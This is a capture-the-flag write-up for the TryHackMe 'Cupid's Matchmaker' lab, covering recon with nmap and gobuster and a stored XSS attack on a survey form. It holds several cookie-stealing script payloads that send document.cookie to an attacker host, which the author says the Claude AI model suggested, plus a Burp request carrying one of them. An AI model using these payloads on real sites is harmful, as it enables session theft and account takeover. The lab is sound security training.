Cupid's Matchmaker (TryHackMe) - storedXSS on form

My Dearest Hacker,
Tired of soulless AI algorithms? At Cupid's Matchmaker, real humans read your personality survey and personally match you with compatible singles. Our dedicated matchmaking team reviews every submission to ensure you find true love this Valentine's Day! 💘No algorithms. No AI. Just genuine human connection
You can access the web app here:
http://MACHINE_IP:5000
Cupid's Matchmaker is a Valentine's Day-themed CTF challenge featuring a Flask web application (Python/Werkzeug) running on port 5000. The app presents itself as a "human-powered" matchmaking service where users fill out a personality survey — with submissions visible only to an authenticated admin at /admin/submissions. With no login credentials in hand, the goal is to escalate access by exploiting the survey form's input fields. Initial reconnaissance with nmap and gobuster reveals the attack surface, and Burp Suite is used throughout to intercept and craft malicious requests. The primary vulnerability is Stored Cross-Site Scripting (XSS) — injecting a payload into the survey that executes in the admin's browser when they review submissions, leaking their session cookie and granting unauthorized access to the admin panel.
nmap -p- -sV <IP_Address>
Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-15 01:46 GMT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for <IP_Address>
Host is up (0.00011s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
631/tcp open ipp CUPS 2.4
5000/tcp open upnp?
gobuster dir -u http://<IP_Address>:5000 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
/admin (Status: 302) [Size: 199] [--> /login]
/login (Status: 200) [Size: 1639]
/logout (Status: 302) [Size: 189] [--> /]
/survey (Status: 200) [Size: 5286]
Progress: 18456 / 18460 (99.98%)
===============================================================
Finished
There was a /admin/submissions path too
curl -i http://<IP_Address>:5000
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.12.3
Date: Sun, 15 Feb 2026 01:56:22 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3160
Vary: Cookie
Connection: close
<!DOCTYPE html>
<html lang="en">
<body>
<nav class="navbar">
<div class="container">
<a href="/" class="logo">
<span class="heart">\U0001f498</span> Cupid's Matchmaker
</a>
<div class="nav-links">
<a href="/">Home</a>
<a href="/survey" class="btn-primary">Take Survey</a>
</div>
</div>
</nav>
<main>
<div class="hero">
<div class="container">
<h1 class="hero-title">Find Your Perfect Match</h1>
<p class="hero-subtitle">No Algorithms. No AI. Just Real Human Matchmakers.</p>
<a href="/survey" class="btn-hero">Start Your Journey \U0001f495</a>
</div>
</div>
<div class="features">
<div class="container">
<div class="feature-grid">
<div class="feature-card">
<div class="feature-icon">\U0001f464</div>
<h3>Human Touch</h3>
<p>Our dedicated matchmaking team personally reviews every single submission. No cold algorithms here!</p>
</div>
<div class="feature-card">
<div class="feature-icon">\U0001f49d</div>
<h3>Genuine Connections</h3>
<p>We read your personality, preferences, and dreams to find someone who truly complements you.</p>
</div>
<div class="feature-card">
<div class="feature-icon">\u2728</div>
<h3>Personalized Matches</h3>
<p>Every match is carefully curated by real people who care about your happiness.</p>
</div>
</div>
</div>
</div>
<div class="how-it-works">
<div class="container">
<h2>How It Works</h2>
<div class="steps">
<div class="step">
<div class="step-number">1</div>
<h3>Take Our Survey</h3>
<p>Share your personality, interests, and what you're looking for in a partner.</p>
</div>
<div class="step">
<div class="step-number">2</div>
<h3>Human Review</h3>
<p>Our matchmaking team personally reads and analyzes your submission.</p>
</div>
<div class="step">
<div class="step-number">3</div>
<h3>Get Matched</h3>
<p>Receive your personalized match within 24-48 hours!</p>
</div>
</div>
</div>
</div>
<div class="cta-section">
<div class="container">
<h2>Ready to Find Love?</h2>
<p>Join thousands of singles who found their perfect match through human connection.</p>
<a href="/survey" class="btn-cta">Take the Survey Now</a>
</div>
</div>
</main>
<footer>
<div class="container">
<p>© 2026 Cupid's Matchmaker | No AI, Just Love \u2764\ufe0f</p>
</div>
</footer>
</body>
</html>
I used Burp Suite to interact with the site and intercept requests. The site has a form that has different fields, including text areas. Once a form is submitted, it's sent to the submissions folder, which is within the admin path, and we don't have any authentication flow, meaning we can't access the submissions.
With the form text areas, thoughts of testing a chance of XSS.
name=admin&age=25&gender=Prefer+not+to+say&seeking=Any&ideal_date=%7B%7B+7*7+%7D%7D&describe_yourself=%7B%7B+config+%7D%7D&looking_for=%7B%7B7*7%7D%7D&dealbreakers=
Claude's suggestions for storedXSS
Claude suggested using the following storedXSS payloads to use:
# Start on port 8000
python3 -m http.server 8000
### Step 3: XSS Payloads for Exfiltration
Now in **Burp Suite**, intercept the survey and use these payloads:
#### 🎯 PAYLOAD 1: Image Tag (Most Reliable)
**In the `name` field:**
```
<img src="http://<AttackMachine_IP>:8000/cookie.jpg?c=COOKIE_HERE">
```
**In the `describe_yourself` field:**
```
<script>new Image().src='http://<AttackMachine_IP>:8000/?cookie='+document.cookie;</script>
```
**Replace `YOUR_IP`** with your actual IP (like `10.48.119.221`)
#### 🎯 PAYLOAD 2: Fetch API (More Flexible)
**In `describe_yourself`:**
```
<script>fetch('http://<AttackMachine_IP>:8000/?c='+document.cookie);</script>
```
#### 🎯 PAYLOAD 3: Script src (Alternative)
**In `name`:**
```
<script src="http://<AttackMachine_IP>:8000/?cookie=PLACEHOLDER"></script>
```
**In `describe_yourself`:**
```
<script>document.write('<img src="http://<AttackMachine_IP>:8000/?c='+document.cookie+'">');</script>
POST /survey HTTP/1.1
Host: IP_Address:5000
Content-Length: 487
Cache-Control: max-age=0
Accept-Language: en-GB,en;q=0.9
Origin: http://10.112.155.190:5000
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.112.155.190:5000/survey
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
name=%3Cimg+src%3D%22http%3A%2F%2F<ATTACK_IP>%3A8000%2Fcookie.jpg%3Fc%3DeyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlRoYW5rIHlvdSEgT3VyIG1hdGNobWFraW5nIHRlYW0gd2lsbCByZXZpZXcgeW91ciBzdWJtaXNzaW9uIHNob3J0bHkhIl19XX0.aarD8Q.r9aKPtBM338Xr8m1S6QS87uwlq4%3B%22%3E&age=25&gender=Female&seeking=Male&ideal_date=%3Cscript%3Enew+Image%28%29.src%3D%27http%3A%2F%2F<ATTACK_IP>%3A8000%2F%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E%0D%0A&describe_yourself=kind&looking_for=nice&dealbreakers=
On your terminal run: python3 -m http.server 8000
HTTP/1.1 302 FOUND
Server: Werkzeug/3.0.1 Python/3.12.3
Date: Fri, 06 Mar 2026 12:16:00 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 189
Location: /
Vary: Cookie
Set-Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlRoYW5rIHlvdSEgT3VyIG1hdGNobWFraW5nIHRlYW0gd2lsbCByZXZpZXcgeW91ciBzdWJtaXNzaW9uIHNob3J0bHkhIl19XX0.aarFgA.CBu0qAv5hBso9NzrCSChJw4k9KY; HttpOnly; Path=/
Connection: close
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/">/</a>. If not, click the link.





